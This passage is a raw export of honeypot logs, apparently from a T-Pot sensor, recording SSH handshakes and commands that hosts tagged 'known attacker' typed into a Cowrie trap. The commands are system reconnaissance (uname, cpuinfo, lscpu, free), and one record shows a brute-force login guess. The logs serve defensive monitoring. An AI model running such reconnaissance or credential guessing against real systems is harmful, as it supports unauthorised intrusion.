"AAADzAYUVDW2i4RP36dVBum+tc0H2AAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37988, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:06:20.946478Z", "@timestamp": "2021-09-20T12:06:20.946Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......T5...O..U..........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
35040	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:22.601019+03	2021-09-20 15:15:02.71569+03	{"_id": "MgYZA3wBvYTbRNuEoFpb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:22.601019Z", "@timestamp": "2021-09-20T12:06:22.601Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35041	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:23.243601+03	2021-09-20 15:15:02.71669+03	{"_id": "NgYZA3wBvYTbRNuEoFpb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:23.243601Z", "@timestamp": "2021-09-20T12:06:23.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35042	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:18.548094+03	2021-09-20 15:15:02.718691+03	{"_id": "CgYZA3wBvYTbRNuEkFq3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:18.548094Z", "@timestamp": "2021-09-20T12:06:18.548Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35324	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:29.306807+03	2021-09-20 15:15:03.117689+03	{"_id": "bwYbA3wBvYTbRNuEjFvG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:29.306807Z", "@timestamp": "2021-09-20T12:08:29.306Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35043	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:20.934409+03	2021-09-20 15:15:02.71969+03	{"_id": "GAYZA3wBvYTbRNuEmFqK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "96.78.175.36", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.3676326274871826, "duplicate": true, "timestamp": "2021-09-20T12:06:20.934409Z", "@timestamp": "2021-09-20T12:06:20.934Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35044	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:20.567409+03	2021-09-20 15:15:02.72169+03	{"_id": "GQYZA3wBvYTbRNuEmFqK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:20.567409Z", "@timestamp": "2021-09-20T12:06:20.567Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35045	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:21.237481+03	2021-09-20 15:15:02.722689+03	{"_id": "HgYZA3wBvYTbRNuEmFqK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:21.237481Z", "@timestamp": "2021-09-20T12:06:21.237Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35046	81.70.175.230	109.199.241.180	Suricata	2021-09-20 15:06:20.945281+03	2021-09-20 15:15:02.72369+03	{"_id": "IAYZA3wBvYTbRNuEmVqr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "flow_id": 2150496454066148, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37988, "dest_port": 22, "timestamp": "2021-09-20T12:06:20.945281Z", "@timestamp": "2021-09-20T12:06:20.945Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35047	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:21.902149+03	2021-09-20 15:15:02.72469+03	{"_id": "JgYZA3wBvYTbRNuEnFpy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:21.902149Z", "@timestamp": "2021-09-20T12:06:21.902Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35048	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 15:06:21.912971+03	2021-09-20 15:15:02.72669+03	{"_id": "KAYZA3wBvYTbRNuEnFpy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c19ca68a5462", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:06:21.912971Z", "@timestamp": "2021-09-20T12:06:21.912Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35049	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:21.608357+03	2021-09-20 15:15:02.72769+03	{"_id": "LAYZA3wBvYTbRNuEnFpz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "96.78.175.36", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.3715474605560303, "duplicate": true, "timestamp": "2021-09-20T12:06:21.608357Z", "@timestamp": "2021-09-20T12:06:21.608Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35050	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:06:22.196364+03	2021-09-20 15:15:02.72969+03	{"_id": "LQYZA3wBvYTbRNuEnFpz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.login.failed", "message": "login attempt [teamspeak/teamspeak3] failed", "session": "fb709be221b6", "@version": "1", "password": "teamspeak3", "username": "teamspeak", "timestamp": "2021-09-20T12:06:22.196364Z", "@timestamp": "2021-09-20T12:06:22.196Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35051	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:21.902701+03	2021-09-20 15:15:02.732689+03	{"_id": "KgYZA3wBvYTbRNuEnFpy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:21.902701Z", "@timestamp": "2021-09-20T12:06:21.902Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35052	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:22.269671+03	2021-09-20 15:15:02.73469+03	{"_id": "KwYZA3wBvYTbRNuEnFpy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "96.78.175.36", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.3676111698150635, "duplicate": true, "timestamp": "2021-09-20T12:06:22.269671Z", "@timestamp": "2021-09-20T12:06:22.269Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35053	183.17.231.81	109.199.241.180	Suricata	2021-09-20 15:06:22.211686+03	2021-09-20 15:15:02.73569+03	{"_id": "LgYZA3wBvYTbRNuEnVqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "183.17.231.81", "dest_ip": "192.168.20.116", "flow_id": 312727192819847, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56214, "dest_port": 22, "timestamp": "2021-09-20T12:06:22.211686Z", "@timestamp": "2021-09-20T12:06:22.211Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35054	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:06:21.913461+03	2021-09-20 15:15:02.736691+03	{"_id": "LwYZA3wBvYTbRNuEnlqQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "183.17.231.81", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56214, "timestamp": "2021-09-20T12:06:21.913461", "@timestamp": "2021-09-20T12:06:21.913Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35055	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:23.243099+03	2021-09-20 15:15:02.73769+03	{"_id": "NQYZA3wBvYTbRNuEoFpb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:23.243099Z", "@timestamp": "2021-09-20T12:06:23.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35056	96.78.175.36	109.199.241.180	Fatt	2021-09-20 15:06:09.652074+03	2021-09-20 15:15:02.73869+03	{"_id": "qAYZA3wBvYTbRNuEbFkf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": 